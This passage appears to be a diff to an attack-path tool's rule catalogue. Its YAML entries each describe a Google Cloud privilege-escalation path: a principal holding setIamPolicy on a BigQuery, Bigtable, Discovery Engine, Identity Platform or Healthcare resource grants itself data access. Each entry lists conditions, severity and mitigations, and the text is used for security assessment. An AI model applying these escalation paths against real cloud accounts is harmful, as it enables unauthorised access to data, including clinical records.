src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#biglakecatalogsnamespacestablessetiampolicy--self-grant-on-a-lakehouse-resource + source_revision: a1de13ac34 + summary: The source uses biglake.tables.setIamPolicy on an exact table to add its own IAM binding and gain biglake.tables.get, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: biglake.tables.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - biglake.tables.get + aggregate_as: Table metadata access the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: Requires an inventoried table, its collected IAM policy and both parent policies, effective setIamPolicy authority on that exact table, + and no existing biglake.tables.get access. A verified policy mutation may also prove the grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict biglake.tables.setIamPolicy on protected table resources and review self-directed IAM policy changes. + notes: An exact table policy write with complete access evidence creates a conditional prospective path. Missing policy, + inventory, deny, group, or organization-policy evidence leaves the path unresolved. A verified mutation can prove the grant. +- id: gcp-bigquery-datasets-setiampolicy-dataset-iam-self-grant + provider: gcp + service: bigquery + title: Self-grant bigquery.tables.getData on a dataset iam + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatasetsupdate--bigquerydatasetssetiampolicy--self-grant-dataset-access + source_revision: a1de13ac34 + summary: The source uses bigquery.datasets.setIamPolicy on an exact dataset iam to add its own IAM binding and gain bigquery.tables.getData, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: bigquery.datasets.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigquery.tables.getData + aggregate_as: Table data access the source could grant itself through the dataset + conditions: + - id: exact_reviewed_self_grant + description: Requires a collected dataset ACL and one exact data table with collected table IAM policy, effective setIamPolicy authority on the dataset, + and no existing data read access to that table. A verified policy mutation may also prove the grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigquery.datasets.setIamPolicy on protected dataset iam resources and review self-directed IAM policy + changes. + notes: The prospective path uses BigQuery dataset PATCH with updateMode UPDATE_ACL under fine-grained dataset ACL enforcement. + A grant of roles/bigquery.dataViewer on the dataset can add data read access to the named table. Incomplete ACL, table IAM, + group, deny, or organization-policy evidence leaves the path unresolved. +- id: gcp-bigquery-datasets-update-dataset-acl-self-grant + provider: gcp + service: bigquery + title: Self-grant bigquery.tables.getData on a dataset acl + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatasetsupdate--bigquerydatasetssetiampolicy--self-grant-dataset-access + source_revision: a1de13ac34 + summary: When fine-grained dataset ACL enforcement is disabled, the source can use bigquery.datasets.update on an exact + dataset ACL to grant itself bigquery.tables.getData on a table it could not read before. + requires: + all_of: + - action: bigquery.datasets.update + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigquery.tables.getData + aggregate_as: Verified dataset acl self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigquery.datasets.update on protected dataset acl resources and review self-directed IAM policy changes. + notes: This path applies only when the effective fine-grained dataset ACL setting is known to be disabled. When enabled, + ACL changes require bigquery.datasets.setIamPolicy and are covered by the separate dataset IAM technique. The prospective + path also requires an existing named table, complete ACL and table IAM evidence, and no prior table data access. +- id: gcp-bigquery-connections-setiampolicy-connection-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigquery + title: Self-grant bigquery.connections.use on a connection + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryconnectionssetiampolicy--self-grant-connection-use + source_revision: a1de13ac34 + summary: The source can change a named BigQuery connection's IAM policy to grant itself connection use when it lacks that permission. + requires: + all_of: + - action: bigquery.connections.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigquery.connections.use + aggregate_as: Verified connection self-grant to the source + conditions: + - id: exact_connection_policy + description: A reviewed accepted mutation must prove the exact new connection-use grant. A prospective path instead needs one named connection, complete connection and project IAM evidence, an effective policy-write grant on that connection, and prior absence of connection use. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigquery.connections.setIamPolicy on protected connection resources and review self-directed IAM policy + changes. + notes: This grants use of the named connection, not proof that an external query ran or disclosed data. The native prospective path is conditional; an accepted mutation can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-datacatalog-taxonomies-setiampolicy-taxonomy-self-grant + provider: gcp + service: datacatalog + title: Self-grant datacatalog.categories.fineGrainedGet on a taxonomy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#datacatalogtaxonomiessetiampolicy--self-grant-fine-grained-reader + source_revision: a1de13ac34 + summary: Effective datacatalog.taxonomies.setIamPolicy on an exact taxonomy can add a Fine-Grained Reader binding + for the caller and grant datacatalog.categories.fineGrainedGet on a descendant tag where it was absent before. + requires: + all_of: + - action: datacatalog.taxonomies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - datacatalog.categories.fineGrainedGet + aggregate_as: Taxonomy self-grant to the source + conditions: + - id: exact_taxonomy_descendant_self_grant + description: Requires an exact taxonomy and descendant policy tag, active fine-grained enforcement, effective taxonomy + policy-write access, a grantable Fine-Grained Reader role, absent prior reader access on that tag, readable tag and + ancestor policies, and complete deny and organization-policy evidence; a reviewed accepted mutation can prove the exact gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict datacatalog.taxonomies.setIamPolicy on protected taxonomy resources and review self-directed IAM policy + changes. + notes: A prospective path is conditional because the policy change is not attempted. The taxonomy grant applies to + descendant tags; a protected BigQuery column still requires ordinary table and query access. A reviewed accepted + mutation must bind the exact taxonomy and prove new access on a named descendant tag. +- id: gcp-bigquery-tables-setiampolicy-table-self-grant + provider: gcp + service: bigquery + title: Self-grant bigquery.tables.getData on a table + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerytablessetiampolicy--self-grant-table-access + source_revision: a1de13ac34 + summary: The source can add its own Data Viewer binding to an inventoried table it can change with bigquery.tables.setIamPolicy, gaining bigquery.tables.getData when it lacks that permission. + requires: + all_of: + - action: bigquery.tables.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigquery.tables.getData + aggregate_as: Table read permissions the source could grant itself + conditions: + - id: exact_table_policy + description: Requires an inventoried table, a complete table IAM policy and dataset ACL, policy-write authority on that exact table, and no current read grant. Incomplete IAM, group, organization policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigquery.tables.setIamPolicy on protected table resources and review self-directed IAM policy changes. + notes: BigQuery Data Viewer can be bound to one table and includes tables.getData. A prospective grant is conditional until the policy mutation succeeds; a reviewed accepted mutation can provide direct evidence. Row and column restrictions may still limit readable data. +- id: gcp-bigtable-instances-setiampolicy-instance-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable table access through an instance + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableinstancessetiampolicy--self-grant-across-one-instance + source_revision: a1de13ac34 + summary: The caller can change an inventoried instance's IAM policy to grant itself read access to an existing table in that instance when it lacked that access. + requires: + all_of: + - action: bigtable.instances.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.tables.readRows + aggregate_as: Table read access the caller could grant through instance IAM + conditions: + - id: exact_instance_and_table_policies + description: Requires a ready instance, an existing table under it, exact policy-write authority on the instance, no current table read, and complete instance, table, IAM, group, and deny evidence. An accepted mutation can also be supported by reviewed evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.instances.setIamPolicy on protected instance resources and review self-directed IAM policy + changes. + notes: The prospective grant is conditional until the IAM change succeeds and is limited to the inventoried instance. It does not grant project IAM control or other instances. Incomplete evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-bigtable-tables-setiampolicy-table-self-grant + provider: gcp + service: bigtable + title: Self-grant bigtable.tables.readRows on a table + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtabletablessetiampolicy--self-grant-on-one-table + source_revision: a1de13ac34 + summary: The source uses bigtable.tables.setIamPolicy on an exact table to add its own IAM binding and gain bigtable.tables.readRows, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: bigtable.tables.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.tables.readRows + aggregate_as: Verified table self-grant to the source + conditions: + - id: exact_table_policy + description: Requires an inventoried table with exact table and instance IAM policies, a cluster ready to serve reads, a new readRows permission, and permission to change that table's policy. Incomplete evidence stays unresolved; an accepted change can also be shown through reviewed self-grant evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.tables.setIamPolicy on protected table resources and review self-directed IAM policy changes. + notes: A prospective grant is conditional until the IAM change succeeds and is limited to the exact table. Incomplete policy or readiness evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-bigtable-backups-setiampolicy-backup-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable backup restore access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtablebackupssetiampolicy--grant-restore-access-to-a-protected-backup + source_revision: a1de13ac34 + summary: The caller can change an inventoried backup's IAM policy to grant itself restore access when that permission is absent and the backup is ready and unexpired. + requires: + all_of: + - action: bigtable.backups.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.backups.restore + aggregate_as: Verified backup self-grant to the source + conditions: + - id: exact_backup_policy + description: Requires a ready, unexpired backup with exact instance and backup policies, policy-write authority, no existing restore right, and complete IAM, group, org policy, and deny evidence. CMEK-backed backup usability remains unresolved unless reviewed. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.backups.setIamPolicy on protected backup resources and review self-directed IAM policy changes. + notes: The prospective grant is conditional until the IAM change succeeds and is limited to restoring this backup. Reading restored rows also needs a destination instance, table creation, and row-read access. Incomplete evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-bigtable-authorizedviews-setiampolicy-authorized-view-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable authorized-view read access + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#authorizedmaterialized-view-setiampolicy--self-grant-scoped-data-access + source_revision: a1de13ac34 + summary: The caller can change an inventoried authorized view's IAM policy to grant itself read access to that view when it lacks both view and base-table row reads. + requires: + all_of: + - action: bigtable.authorizedViews.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.authorizedViews.readRows + aggregate_as: Verified authorized view self-grant to the source + conditions: + - id: exact_authorized_view_policy + description: Requires an existing authorized view, exact policy-write authority, no current view or base-table row read, and complete view, table, instance, IAM, group, and deny evidence. An accepted mutation can also be supported by reviewed evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.authorizedViews.setIamPolicy on protected authorized view resources and review self-directed + IAM policy changes. + notes: The prospective grant is conditional until the IAM change succeeds and permits only the rows and columns exposed by this view. Incomplete policy or prior-access evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-bigtable-materializedviews-setiampolicy-materialized-view-self-grant + provider: gcp + service: bigtable + title: Self-grant bigtable.materializedViews.readRows on a materialized view + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#authorizedmaterialized-view-setiampolicy--self-grant-scoped-data-access + source_revision: a1de13ac34 + summary: The source uses bigtable.materializedViews.setIamPolicy on an exact materialized view to add its own IAM binding + and gain bigtable.materializedViews.readRows, which it lacked before the accepted policy mutation. + requires: + all_of: + - action: bigtable.materializedViews.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.materializedViews.readRows + aggregate_as: Verified materialized view self-grant to the source + conditions: + - id: exact_materialized_view_policy + description: Requires an inventoried materialized view with a complete exact view and instance IAM policy, a ready cluster, a new readRows permission, and permission to change that view's policy. Incomplete evidence stays unresolved; an accepted change can also be shown through reviewed self-grant evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.materializedViews.setIamPolicy on protected materialized view resources and review self-directed + IAM policy changes. + notes: A prospective grant is conditional until the IAM change succeeds and yields only the data exposed by this materialized view. Incomplete policy or readiness evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-discoveryengine-engines-setiampolicy-engine-self-grant + provider: gcp + service: discoveryengine + title: Self-grant discoveryengine.engines.update on an engine + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineenginesdatastorescollectionssetiampolicy--self-grant-app-or-corpus-access + source_revision: a1de13ac34 + summary: The source can add itself to an exact existing engine policy and gain discoveryengine.engines.update, + which it does not already hold. The engine must be under a named collection. + requires: + all_of: + - action: discoveryengine.engines.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - discoveryengine.engines.update + aggregate_as: Engine policy self-grant paths + conditions: + - id: prospective_engine_policy + description: An exact listed engine and complete current policy must be available; the source must hold policy-write access, lack update access, and be able to add a collected grantable Admin role without an effective deny or member restriction. + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict discoveryengine.engines.setIamPolicy on protected engine resources and review self-directed IAM policy + changes. + references: + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1/projects.locations.collections.engines/setIamPolicy + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1alpha/projects.locations.collections.engines/list + notes: A prospective path requires the exact engine and current policy; a verified mutation record can independently prove the exact gain. The engine grant does not by itself authorize a linked data store or bypass document ACLs. +- id: gcp-discoveryengine-datastores-setiampolicy-data-store-self-grant + provider: gcp + service: discoveryengine + title: Self-grant discoveryengine.dataStores.update on a data store + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineenginesdatastorescollectionssetiampolicy--self-grant-app-or-corpus-access + source_revision: a1de13ac34 + summary: The source can add itself to an exact existing data store policy and gain discoveryengine.dataStores.update, + which it does not already hold. This covers standalone stores and stores under a collection. + requires: + all_of: + - action: discoveryengine.dataStores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - discoveryengine.dataStores.update + aggregate_as: Data store policy self-grant paths + conditions: + - id: prospective_data_store_policy + description: An exact listed data store and complete current policy must be available; the source must hold policy-write access, lack update access, and be able to add a collected grantable Admin role without an effective deny or member restriction. + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict discoveryengine.dataStores.setIamPolicy on protected data store resources and review self-directed + IAM policy changes. + references: + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1alpha/projects.locations.dataStores/setIamPolicy + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1/projects.locations.collections.dataStores/setIamPolicy + notes: A prospective path requires the exact data store and current policy; a verified mutation record can independently prove the exact gain. The grant does not by itself authorize access to a linked app or bypass document ACLs. +- id: gcp-discoveryengine-collections-setiampolicy-collection-self-grant + provider: gcp + service: discoveryengine + title: Self-grant discoveryengine.collections.get on a collection + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineenginesdatastorescollectionssetiampolicy--self-grant-app-or-corpus-access + source_revision: a1de13ac34 + summary: The source can add itself to an exact existing collection policy and gain discoveryengine.collections.get, + which it does not already hold. That permission alone does not grant access to a linked app or its data stores. + requires: + all_of: + - action: discoveryengine.collections.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - discoveryengine.collections.get + aggregate_as: Collection policy self-grant paths + conditions: + - id: prospective_collection_policy + description: An exact listed collection and complete current policy must be available; the source must hold collection policy-write access, lack collection get access, and be able to add a collected grantable Viewer role without an effective deny or member restriction. + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict discoveryengine.collections.setIamPolicy on protected collection resources and review self-directed + IAM policy changes. + references: + - https://docs.cloud.google.com/gemini/enterprise/docs/reference/rest/v1alpha/projects.locations.collections/setIamPolicy + - https://docs.cloud.google.com/gemini/enterprise/docs/iam-policy-for-apps-and-data-stores + notes: The prospective path is limited to the listed collection and a verified Viewer role that grants collections.get. A verified mutation record can independently prove the exact gain. App and child data-store access need separate grants. +- id: gcp-identitytoolkit-tenants-setiampolicy-tenant-self-grant + provider: gcp + service: identitytoolkit + title: Self-grant user administration in an Identity Platform tenant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#identitytoolkittenantssetiampolicy--self-grant-control-of-an-identity-platform-tenant + source_revision: a1de13ac34 + summary: The source can grant itself user-update permission in an existing Identity Platform tenant when it can write that tenant's IAM policy and lacks the permission now. + requires: + all_of: + - action: identitytoolkit.tenants.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - firebaseauth.users.update + aggregate_as: Verified tenant self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires a uniquely listed existing tenant, its complete IAM policy, effective policy-write authority, absence of prior user-update access, a known tenant-grantable Admin role and complete ancestor and deny evidence. An independently reviewed accepted mutation is a second proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict identitytoolkit.tenants.setIamPolicy on protected tenant resources and review self-directed IAM policy + changes. + notes: The prospective grant applies only to the named tenant. It does not extend to other tenants or the project's default user pool. A reviewed accepted mutation remains a second proof route. + references: + - https://docs.cloud.google.com/identity-platform/docs/multi-tenancy-access-control + - https://docs.cloud.google.com/identity-platform/docs/reference/rest/v2/projects.tenants/getIamPolicy + - https://docs.cloud.google.com/iam/docs/roles-permissions/identityplatform +- id: gcp-healthcare-datasets-setiampolicy-dataset-self-grant + provider: gcp + service: healthcare + title: Gain FHIR store search access through a dataset IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: The source can use healthcare.datasets.setIamPolicy on an inventoried dataset to grant itself FHIR store search permission on an existing child store when it lacks that permission today. + requires: + all_of: + - action: healthcare.datasets.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.fhirStores.searchResources + aggregate_as: FHIR stores reachable through a dataset self-grant + conditions: + - id: exact_dataset_and_store_policy + description: Requires a unique existing FHIR store under the exact dataset, collected dataset and store IAM policies, a grantable FHIR Resource Reader role, and no existing effective search permission. The proposed IAM change and any consent-limited data access remain conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.datasets.setIamPolicy on protected dataset resources and review self-directed IAM policy + changes. + notes: A dataset policy grant inherits to its child FHIR stores. This path reports a prospective permission gain on an existing store; it does not assert that clinical records exist or that consent rules permit reading them. A separately reviewed exact self-grant may also establish the path. + references: + - https://docs.cloud.google.com/healthcare-api/docs/access-control + - https://docs.cloud.google.com/healthcare-api/docs/reference/rest/v1/projects.locations.datasets.fhirStores/list + - https://docs.cloud.google.com/iam/docs/roles-permissions/healthcare +- id: gcp-healthcare-fhirstores-setiampolicy-fhir-store-self-grant + provider: gcp + service: healthcare + title: Gain FHIR resource read access through a FHIR store IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: The source can change the IAM policy of an existing FHIR store to add its own FHIR resource read permission when it lacks that permission today. + requires: + all_of: + - action: healthcare.fhirStores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.fhirResources.get + aggregate_as: FHIR stores where the source could gain resource read + conditions: + - id: exact_fhir_store_policy + description: Requires a unique existing FHIR store with a collected store and parent dataset IAM policy, an effective store policy-write grant, a grantable FHIR Resource Reader role, and no existing FHIR resource read permission. Actual policy mutation and data access remain conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.fhirStores.setIamPolicy on protected fhir store resources and review self-directed IAM policy + changes. + notes: A prospective permission gain is limited to the exact FHIR store; it does not assert that resources exist or that consent rules permit reading them. A separately reviewed exact self-grant may also establish the path. + references: + - https://docs.cloud.google.com/healthcare-api/docs/reference/rest/v1/projects.locations.datasets.fhirStores/setIamPolicy + - https://docs.cloud.google.com/iam/docs/roles-permissions/healthcare +- id: gcp-healthcare-dicomstores-setiampolicy-dicom-store-self-grant + provider: gcp + service: healthcare + title: Gain DICOMweb read access through a DICOM store IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: The source can change the IAM policy of an existing DICOM store to add its own DICOMweb read permission when it lacks that permission today. + requires: + all_of: + - action: healthcare.dicomStores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.dicomStores.dicomWebRead + aggregate_as: DICOM stores where the source could gain DICOMweb read + conditions: + - id: exact_dicom_store_policy + description: Requires a unique existing DICOM store with a collected store and parent dataset IAM policy, an effective store policy-write grant, a grantable DICOM Viewer role, and no existing DICOMweb read permission. Actual policy mutation and data access remain conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.dicomStores.setIamPolicy on protected dicom store resources and review self-directed IAM + policy changes. + notes: A prospective permission gain is limited to the exact DICOM store; it does not assert that images exist. A separately reviewed exact self-grant may also establish the path. + references: + - https://docs.cloud.google.com/healthcare-api/docs/reference/rest/v1/projects.locations.datasets.dicomStores/list + - https://docs.cloud.google.com/iam/docs/roles-permissions/healthcare +- id: gcp-healthcare-hl7v2stores-setiampolicy-hl7v2-store-self-grant + provider: gcp + service: healthcare + title: Gain HL7v2 message list access through a store IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: The source can change the IAM policy of an existing HL7v2 store to add its own message list permission when it lacks that permission today. + requires: + all_of: + - action: healthcare.hl7V2Stores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.hl7V2Messages.list + aggregate_as: HL7v2 stores where the source could gain message list + conditions: + - id: exact_hl7v2_store_policy + description: Requires a unique existing HL7v2 store with a collected store and parent dataset IAM policy, an effective store policy-write grant, a grantable HL7v2 Consumer role, and no existing message list permission. Actual policy mutation and message access remain conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.hl7V2Stores.setIamPolicy on protected hl7v2 store resources and review self-directed IAM + policy changes. + notes: Message list is checked on the exact store, unlike message get on one message. A prospective permission gain does not assert that messages exist. A separately reviewed exact self-grant may also establish the path. + references: + - https://docs.cloud.google.com/healthcare-api/docs/reference/rest/v1/projects.locations.datasets.hl7V2Stores.messages/list + - https://docs.cloud.google.com/iam/docs/roles-permissions/healthcare +- id: gcp-healthcare-consentstores-setiampolicy-consent-store-self-grant + provider: gcp + service: healthcare + title: Self-grant healthcare.consents.get on a consent store + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#healthcaresetiampolicy--grant-a-clinical-data-role-to-your-principal + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named consent store may grant itself consent read access there when its existing grants do not already provide it. An accepted, reviewed policy mutation can also establish the gain. + requires: + all_of: + - action: healthcare.consentStores.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - healthcare.consents.get + aggregate_as: Consent read access through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_consent_store_policy + description: A prospective path needs a unique named consent store, readable store and dataset IAM policies, an effective exact-store policy write and policy read, and a known grantable consent-reader role. Incomplete inventory or uncertain prior access stays unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict healthcare.consentStores.setIamPolicy on protected consent store resources and review self-directed + IAM policy changes. + notes: The prospective path uses collected consent-store and dataset policies to exclude prior access inherited from the dataset; the reviewed-mutation evidence path remains available for a proven exact grant. +- id: gcp-networkconnectivity-hubs-setiampolicy-hub-self-grant + provider: gcp + service: networkconnectivity + title: Self-grant networkconnectivity.hubs.update on a hub + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants + source_revision: a1de13ac34 + summary: A reviewed, accepted IAM mutation on an exact hub gave the source networkconnectivity.hubs.update when it lacked that permission before. A hub policy write alone does not establish that this role is grantable at hub scope. + requires: + all_of: + - action: networkconnectivity.hubs.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networkconnectivity.hubs.update + aggregate_as: Verified hub self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: hub_scope_role_eligibility + description: The predefined hubAdmin role is documented as grantable at project scope, so a prospective hub-level write cannot assume it grants hubs.update. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networkconnectivity.hubs.setIamPolicy on protected hub resources and review self-directed IAM policy + changes. + notes: The gcp_resource_self_grant_evidence record must prove this exact hub-level permission gain. A separate hub-level groupUser grant can allow group use, but it does not imply hubs.update. +- id: gcp-networkconnectivity-groups-setiampolicy-group-self-grant + provider: gcp + service: networkconnectivity + title: Self-grant networkconnectivity.groups.use on a group + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants + source_revision: a1de13ac34 + summary: A principal that can write the IAM policy of a named hub group may grant itself group use there when its existing grants do not already provide it. An accepted, reviewed mutation can also establish the gain. + requires: + all_of: + - action: networkconnectivity.groups.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - networkconnectivity.groups.use + aggregate_as: Group use through {target.policy_resource} + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + - id: prospective_group_policy + description: A prospective path needs a unique named group, readable group and parent hub IAM policies, effective group-level policy write and read, a known groupUser role, and no prior group-use grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict networkconnectivity.groups.setIamPolicy on protected group resources and review self-directed IAM policy + changes. + notes: The prospective route uses collected group and parent hub policies to exclude already granted access; reviewed accepted-mutation evidence remains a separate proof path. +- id: gcp-networksecurity-addressgroups-setiampolicy-address-group-self-grant + provider: gcp + service: networksecurity + title: Self-grant networksecurity.addressGroups.update on an address group + source: 